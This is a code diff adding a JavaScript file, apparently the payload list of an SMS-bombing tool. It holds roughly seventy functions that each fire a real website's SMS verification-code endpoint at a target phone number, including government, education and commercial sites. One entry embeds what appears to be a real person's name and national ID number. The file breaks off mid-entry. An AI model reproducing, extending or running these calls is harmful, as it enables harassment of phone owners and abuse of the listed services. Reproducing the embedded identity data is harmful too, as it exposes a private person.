Normal file
BIN
debug/api.db
Executable file
BIN
debug/api.db
Executable file
Binary file not shown.
868
debug/api.js
Executable file
868
debug/api.js
Executable file
@@ -0,0 +1,868 @@
|
|||||||
|
/**
|
||||||
|
* 第三方网站短信接口
|
||||||
|
* 最后更新:2022-04-12
|
||||||
|
* @type {*[]}
|
||||||
|
*/
|
||||||
|
var requestList = [
|
||||||
|
{
|
||||||
|
name: '工图网',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://www.900ppt.com/api/login/getSmsCode",
|
||||||
|
data: {
|
||||||
|
phone: phone,
|
||||||
|
easy: 1
|
||||||
|
},
|
||||||
|
type: "GET",
|
||||||
|
dataType: "json",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '少儿编程',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://test.marketing.i.vipcode.com/api/marketing/dataStatistics/sendCode",
|
||||||
|
type: "POST",
|
||||||
|
data: {phone: phone,},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '泰康在线',
|
||||||
|
fn: function (phone) {
|
||||||
|
function encrypt(data) {
|
||||||
|
var key = CryptoJS.enc.Utf8.parse("AE74AF98D6BF55BF");
|
||||||
|
var srcs = CryptoJS.enc.Utf8.parse(data);
|
||||||
|
var encrypted = CryptoJS.AES.encrypt(srcs, key, {
|
||||||
|
mode: CryptoJS.mode.ECB,
|
||||||
|
padding: CryptoJS.pad.Pkcs7
|
||||||
|
});
|
||||||
|
return encrypted + "";
|
||||||
|
}
|
||||||
|
|
||||||
|
phone = encodeURIComponent(encrypt(phone))
|
||||||
|
$.ajax({
|
||||||
|
'url': 'http://ecs.tk.cn/eservice/member/login',
|
||||||
|
'type': 'POST',
|
||||||
|
'data': 'syn=Y&functioncode=getmark&mobile=' + phone,
|
||||||
|
'dataType': 'json',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '千库编辑',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: 'https://editor.588ku.com/site-api/send-tel-login-code',
|
||||||
|
type: 'GET',
|
||||||
|
data: {
|
||||||
|
num: phone,
|
||||||
|
},
|
||||||
|
async: false
|
||||||
|
});
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "编程猫",
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: 'https://open-service.codemao.cn/captcha/rule',
|
||||||
|
contentType: "application/json;charset=UTF-8",
|
||||||
|
type: 'POST',
|
||||||
|
data: '{"deviceId": "89b5cb3b00a910b2a123d882a6255caf", "identity": "' + phone + '", "pid": "4ceH5ekc", "timestamp": 1614589965}',
|
||||||
|
dataType: 'json',
|
||||||
|
success: function (data) {
|
||||||
|
$.ajax({
|
||||||
|
url: 'https://api-marketing.codemao.cn/admin/marketing/sms/captcha/new',
|
||||||
|
contentType: "application/json;charset=UTF-8",
|
||||||
|
type: 'POST',
|
||||||
|
data: '{"app_id":"", "phone_number": "' + phone + '", "ticket": "' + data.ticket + '"}',
|
||||||
|
dataType: 'json',
|
||||||
|
})
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '迪卡侬',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
|
||||||
|
type: "POST",
|
||||||
|
data: {"countryCode": "CN", "mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '股海网',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.guhai.com.cn/front/member/sendSmsCode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'LLL的个人blog',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://www.lll.plus/sendCode/",
|
||||||
|
type: "POST",
|
||||||
|
data: {"tel": phone, "forgetPwd": ""},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '企米子',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.xcxui.com/index/register/getcode.html",
|
||||||
|
type: "POST",
|
||||||
|
data: {"tel": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '蒲公英',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://id.pgyer.com/user/getRegisterCode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"tel": phone, "callingCode": "86", "mode": "tel"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '百卓优采',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://erp.abiz.com/mobilecode/sendMobileCode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone, "captcha": ""},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '云背篓',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://brand.yunbeilou.com/index.php/smssend",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone, "v": "yes"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'PHP中文网',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://m.php.cn/account/phone_code.html",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '12321',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://dhba.12321.cn/api/verifycode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'Testin众测',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.ztestin.com/users/send/vercode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone, "type": "register", "voice": "0"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '海尔',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://maker.haier.net/client/user/sendregistervcode.html",
|
||||||
|
type: "POST",
|
||||||
|
data: {"account": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '飞猫云',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.feimaoyun.com/index.php/invite/h5sendmsg",
|
||||||
|
type: "POST",
|
||||||
|
data: {"pcode": "+86", "phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '觉数字化平台',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://end.huajuetech.com/api/sendCode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone, "email": "null", "verfy_method": "mobile"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '问政江西',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '河南智慧党建',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone, "verifytype": "1"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '陆陆陆云安全',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://cloud.666idc.com/index/login/sendsms.html",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone, "mobile_pre": "86"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '网易',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://dz.blizzard.cn/action/user/mobile/captcha",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '码云社',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.codeseeding.com/loginUser/toSend",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '人才山东',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://sso.rcsd.cn/regist/getVerifyCode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"personcall": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '水利部',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://sso.mwr.cn/suserRegister/verifyAccountAndPhone.action",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '七联大学',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phoneNumber": phone, "sendType": "0"}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '闪德资讯',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.0101ssd.com/user/sendmsg",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone, "event": "register"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '江苏省名师空中课堂',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://mskzkt.jse.edu.cn/baseApi/user/code/",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone, "type": "1",},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'CSFF短片',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://csff.cutv.com/wapi/users/sendregcode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"telphone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '广西人社厅',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://rswb.gx12333.net/member/getRegisterPhoneCode.jspx",
|
||||||
|
type: "POST",
|
||||||
|
data: {"aae005": phone, "aac003": "刘萌萌", "aac002": "210212198506035924", "notkeyflag": "1"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '麦克赛尔数字映像',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.maxell-dm.cn/Code/CheckImage.aspx",
|
||||||
|
type: "POST",
|
||||||
|
data: {"action": "send", "txtMember_Name": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '宝提分',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '选型系统',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://www.cnppump.ltd/Service/UserHandler.ashx",
|
||||||
|
type: "GET",
|
||||||
|
data: {"cmd": "GetTelVerifyCode", "Tel": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '千里马网信科技',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
|
||||||
|
type: "POST",
|
||||||
|
data: {"tips": "1", "shouji": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '保定云',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://baodingyun.com.cn/register/send_registerSMS.html",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '欢动游戏',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://www.gm5.com/auth/registerSms.html",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '迈威',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.maiwe.com.cn/index/sendcode.html",
|
||||||
|
type: "GET",
|
||||||
|
data: {"tel": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '憨鼠社区',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.dehua.net/include/ajax.php?service=siteConfig&action=getPhoneVerify&type=signup&phone="+phone+"&areaCode=86",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '天鹅到家',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '诺达筑工',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://ks.ndzhugong.com/getVerificationCode?phone="+phone+"&password=&smscode=",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '栋才智慧',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?phone="+phone+"&smsMode=2",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '工伤预防网上培训平台',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '济宁专技',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://sdjn-web.yxlearning.com/sendPhoneCode.gson",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone, "sendType": "4"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '宁夏伊地地质工程有限公司',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://www.yddzgc.com/bid-app/api/sys/code?phone="+phone+"&type=1",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '青春大学说',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://zycp.qcdxs.com:5001/sms/sendsms",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone_number": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '兴业利达电子招投标平台',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://user.daojia.com/mobile/getcode?mobile="+phone+"&newVersion=1&bu=112",
|
||||||
|
type: "POST",
|
||||||
|
data: {"username": phone, "type": "regUser", "mobile": "PC"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '火象',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
|
||||||
|
type: "POST",
|
||||||
|
data: {"temp": "1", "phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '中科教育',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.vipexam.cn/user/identifyingCode.action",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '聚题库',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://uc.csdhe.com/v1/sms/send?mobile="+phone+"&apptype=examWeb",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '大广节',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://47.103.35.255:510/api/Account/SendRestigerSms",
|
||||||
|
type: "POST",
|
||||||
|
data: {tel: phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '选择山东云平台',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://israel.selectshandong.com/user/verification_code/send.html",
|
||||||
|
type: "POST",
|
||||||
|
data: {mobile: phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '苏州高新区教育局',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://jssnd.edu.cn/apiu/v1/register/auth",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '专业技术人员继续教育平台',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile="+phone+"&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '泰安专技',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://sdta-web.yxlearning.com/sendPhoneCode.gson",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone, "sendType": "4"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '志睿择',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.vipexam.cn/user/identifyingCode.action",
|
||||||
|
type: "POST",
|
||||||
|
data: {"phone": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '漏洞银行',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.bugbank.cn/api/verifymobile",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '中国劳动保障新闻网',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '金万维',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.kuaijiexi.com/sendPhoneMessage",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '广西大数据发展局',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://tyrz.zwfw.gxzf.gov.cn/portal/veryCode/smsCode",
|
||||||
|
type: "POST",
|
||||||
|
data: {"method":"sendMobileCode","userMobile":phone,"random":"1.2851343744474852"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '凤凰金刚网',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://api.shweina.com/sms/getCode?type=1&mobile="+phone+"&sms_id=1&_=1649572691296",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'SDTF',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://www.satdatafresh.com/Register_send.php",
|
||||||
|
type: "POST",
|
||||||
|
data: {phone: phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'UCG',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://api.ucg.cn/api/account/get_code",
|
||||||
|
type: "POST",
|
||||||
|
data: {phone: phone,type:1},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '爱社区',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://testapi.wisq.cn/user/code?callback=jQuery1121043210507726688685_1649576168584&type=register&tel="+phone+"&_=1649576168585",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '费耘网',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://www.feeclouds.com/homepage/register/send",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: 'TCTY评测委员会',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://bth.educg.net/new_registration.do",
|
||||||
|
type: "POST",
|
||||||
|
data: {"op": "getvfycode",phone: phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '中电仪器',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://ceyear.com/Cn/Member/get_code",
|
||||||
|
type: "POST",
|
||||||
|
data: {phone: phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '航运e家',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://co.hangyunejia.com/v1/account/sendregphonecode",
|
||||||
|
type: "POST",
|
||||||
|
data: {phone: phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '赛客呼吸',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://m.xeek.cn/api/common/CheckCode/index.html",
|
||||||
|
type: "POST",
|
||||||
|
data: {"action":"register","account":phone,"accountType":"3"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '佛山政务短信平台',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://fsjf.fslgb.gov.cn/servlet/user",
|
||||||
|
type: "POST",
|
||||||
|
data: {"type":"getCode","certificate":"","phone":phone,"opr":"注册"},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '南京筑能网络科技有限公司',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://admina.pachongdaili.com:8080/SendSms/SendTemplateSMS.php",
|
||||||
|
type: "POST",
|
||||||
|
data: {"tel": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '四川宝石花',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://119.4.40.32:10010/ctl/member/register/registerRandom?mobile="+phone+"&_=1649516272801",
|
||||||
|
type: "GET",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '赛日速配',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://sporax.com.cn/Login/sms",
|
||||||
|
type: "POST",
|
||||||
|
data: {"Mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '乐思无限',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://sid.mk315.cn/index/register/getcode.html",
|
||||||
|
type: "POST",
|
||||||
|
data: {"tel": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '宁波材料所',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "https://recruit.nimte.ac.cn/api/recruit/action.php?action=getcode&mobile="+phone+"&verifycode=[object%20HTMLInputElement]",
|
||||||
|
type: "POST",
|
||||||
|
data: {},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '佬司机大宗商品交易',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://www.laosjgyl.com/register/sendCaptcha",
|
||||||
|
type: "POST",
|
||||||
|
data: {"mobile": phone},
|
||||||
|
dataType: "json",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: '广东省心理学会',
|
||||||
|
fn: function (phone) {
|
||||||
|
$.ajax({
|
||||||
|
url: "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
|
||||||
|
type: "POST",
|
||||||
|
